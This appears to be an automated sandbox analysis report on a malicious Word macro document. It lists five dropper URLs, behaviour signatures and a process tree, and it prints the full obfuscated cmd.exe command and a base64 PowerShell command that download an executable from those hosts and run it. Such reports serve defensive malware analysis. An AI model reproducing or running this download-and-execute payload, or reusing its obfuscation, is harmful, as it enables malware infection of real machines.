Analysis
- max time kernel
136s - max time network
149s - platform
windows10-2004_x64 - resource
win10v2004-20240419-en - resource tags
- submitted
05/05/2024, 08:21
General
- Target 16cc184666ac60b1298f465784b55cd7_JaffaCakes118.doc
- Size 118KB
- Sample240505-j9d7yscb5v
- SHA256 2d7d251b6fc140aa2276cd99a6ce1dd66d1e0fdb458f3f7b573911fab8f50298
Malware Config
Extracted
-
ps1
-
exe.dropper
http://brightonhovecleaners.com/0dFiew
-
exe.dropper
http://gailong.net/GwMy
-
exe.dropper
http://knowingafrica.org/iVHOCGz
-
exe.dropper
http://izeeker.com/sBJYI
-
exe.dropper
http://henkterharmsel.nl/sPDNJ
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Blocklisted process makes network request 2 IoCs
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 7 IoCs
- Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\16cc184666ac60b1298f465784b55cd7_JaffaCakes118.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\CmD.exeCmD /v:oN /c " sEt } =/o,er-}ellh`ehJABDAG0AYQA'AG4AZQB3AC0Ab,BiAGoAZQBjA;QAIAB\AG2AdAAuAFcAZQBiAEMAbAB/AG2AbgB0AD-AJAB1AFAARQA'ACcAwAB0A;QAcAA6AC8A$,BiA;IAwQBnAGgAdABvAG4AwABvA;YAZQBjAG,AZQB}AG4AZQByA;MA$gBjAG8AbQAvADAAZABGAGkAZQB3AEAAwAB0A;QAcAA6AC8A$,BnAGEAwQB-AG8AbgBnAC4AbgBlA;QA$,B;A;cATQB5AEAAwAB0A;QAcAA6AC8A$,BrAG4Ab,B3AGkAbgBnAGEAZgByAGkAY,B}AC4Ab,ByAGcA$,B/AFYA_ABPAEMAR,B6AEAAwAB0A;QAcAA6AC8A$,B/A;oAZQBlAG-AZQByAC4AY,BvAG0A$,BzAEIA_gBZAEkAQABoA;QAdAB,ADoA$,AvAGgAZQBuAG-AdABlA;IAwAB}A;IAbQBzAG2AbAAuAG4AbAAvA;MA2ABEAE4A_gAnAC4A2,B,AG,AwQB0ACgAJ,BAACcAKQA7ACQARQBqAGMAIAA'ACAAJ,A3ADQAMQAnAD-AJABDAFEAYgA'ACQAZQBuA;YA\gB,A;2AYgB-AGkAY,ArACcAXAAnAC-AJABFAGoAY,ArACcA$gBlA;gAZQAnAD-AZgBvA;IAZQB}AGMAwAAoACQAd,BvAGkAIAB/AG4AIAAkA;2A2ABFACkAe,B0A;IAeQB7ACQAQ,BtAGEA$gBEAG8Ad,BuAG,Ab,B}AGQARgB/AG,AZQAoACQAd,BvAGkA$AAgACQAQ,BRAGIAKQA7AFMAdAB}A;IAdAAtAFAAcgBvAGMAZQBzA;MAIAAkAEMA2QBiAD-AYgByAG2AYQBrAD-AfQBjAGEAdABjAGgAe,B'A;0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAA==& set . =!} :h= !& SET + =!. :-=s!&& Set ' =!+ :\=O!&& Set _ =!' :w=a!&& sET } =!_ :,=w!&& sEt * =!} :`=-!& sEt $ =!* :2=U!& SET [ =!$ :}=h!& seT # =![ :;=H!&& SeT ` =!# :$=L!&& SeT * =!` :'=9!& seT ] =!* :/=p!&& set . =!] :_=S!&& cALl %. % "2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e JABDAG0AYQA9AG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJAB1AFAARQA9ACcAaAB0AHQAcAA6AC8ALwBiAHIAaQBnAGgAdABvAG4AaABvAHYAZQBjAGwAZQBhAG4AZQByAHMALgBjAG8AbQAvADAAZABGAGkAZQB3AEAAaAB0AHQAcAA6AC8ALwBnAGEAaQBsAG8AbgBnAC4AbgBlAHQALwBHAHcATQB5AEAAaAB0AHQAcAA6AC8ALwBrAG4AbwB3AGkAbgBnAGEAZgByAGkAYwBhAC4AbwByAGcALwBpAFYASABPAEMARwB6AEAAaAB0AHQAcAA6AC8ALwBpAHoAZQBlAGsAZQByAC4AYwBvAG0ALwBzAEIASgBZAEkAQABoAHQAdABwADoALwAvAGgAZQBuAGsAdABlAHIAaABhAHIAbQBzAGUAbAAuAG4AbAAvAHMAUABEAE4ASgAnAC4AUwBwAGwAaQB0ACgAJwBAACcAKQA7ACQARQBqAGMAIAA9ACAAJwA3ADQAMQAnADsAJABDAFEAYgA9ACQAZQBuAHYAOgBwAHUAYgBsAGkAYwArACcAXAAnACsAJABFAGoAYwArACcALgBlAHgAZQAnADsAZgBvAHIAZQBhAGMAaAAoACQAdwBvAGkAIABpAG4AIAAkAHUAUABFACkAewB0AHIAeQB7ACQAQwBtAGEALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACQAdwBvAGkALAAgACQAQwBRAGIAKQA7AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAkAEMAUQBiADsAYgByAGUAYQBrADsAfQBjAGEAdABjAGgAewB9AH0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAA==3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
iso690.xsl
__PSScriptPolicyTest_cqrwj5p4.myd.ps1
741.exe
memory/944-49-0x00007FFA26BB0000-0x00007FFA26DA5000-memory.dmp
memory/944-51-0x00007FFA26BB0000-0x00007FFA26DA5000-memory.dmp
memory/944-2-0x00007FF9E6C30000-0x00007FF9E6C40000-memory.dmp
memory/944-8-0x00007FFA26BB0000-0x00007FFA26DA5000-memory.dmp
memory/944-7-0x00007FFA26BB0000-0x00007FFA26DA5000-memory.dmp
memory/944-10-0x00007FFA26BB0000-0x00007FFA26DA5000-memory.dmp
memory/944-9-0x00007FFA26BB0000-0x00007FFA26DA5000-memory.dmp
memory/944-6-0x00007FFA26BB0000-0x00007FFA26DA5000-memory.dmp
memory/944-11-0x00007FF9E4680000-0x00007FF9E4690000-memory.dmp
memory/944-12-0x00007FF9E4680000-0x00007FF9E4690000-memory.dmp
memory/944-50-0x00007FFA26BB0000-0x00007FFA26DA5000-memory.dmp
memory/944-44-0x00007FFA26BB0000-0x00007FFA26DA5000-memory.dmp
memory/944-45-0x00007FFA26BB0000-0x00007FFA26DA5000-memory.dmp
memory/944-47-0x00007FFA26BB0000-0x00007FFA26DA5000-memory.dmp
memory/944-48-0x00007FFA26BB0000-0x00007FFA26DA5000-memory.dmp
memory/944-0-0x00007FF9E6C30000-0x00007FF9E6C40000-memory.dmp
memory/944-3-0x00007FFA26C4D000-0x00007FFA26C4E000-memory.dmp
memory/944-46-0x00007FFA26BB0000-0x00007FFA26DA5000-memory.dmp
memory/944-43-0x00007FFA26BB0000-0x00007FFA26DA5000-memory.dmp
memory/944-591-0x00007FFA26BB0000-0x00007FFA26DA5000-memory.dmp
memory/944-4-0x00007FF9E6C30000-0x00007FF9E6C40000-memory.dmp
memory/944-5-0x00007FF9E6C30000-0x00007FF9E6C40000-memory.dmp
memory/944-1-0x00007FF9E6C30000-0x00007FF9E6C40000-memory.dmp
memory/944-553-0x00007FFA26BB0000-0x00007FFA26DA5000-memory.dmp
memory/944-563-0x00007FFA26BB0000-0x00007FFA26DA5000-memory.dmp
memory/944-564-0x00007FFA26BB0000-0x00007FFA26DA5000-memory.dmp
memory/944-565-0x00007FFA26BB0000-0x00007FFA26DA5000-memory.dmp
memory/944-566-0x00007FFA26BB0000-0x00007FFA26DA5000-memory.dmp
memory/944-567-0x00007FFA26BB0000-0x00007FFA26DA5000-memory.dmp
memory/944-588-0x00007FF9E6C30000-0x00007FF9E6C40000-memory.dmp
memory/944-589-0x00007FF9E6C30000-0x00007FF9E6C40000-memory.dmp
memory/944-587-0x00007FF9E6C30000-0x00007FF9E6C40000-memory.dmp
memory/944-590-0x00007FF9E6C30000-0x00007FF9E6C40000-memory.dmp
memory/3120-52-0x000002C752D20000-0x000002C752D42000-memory.dmp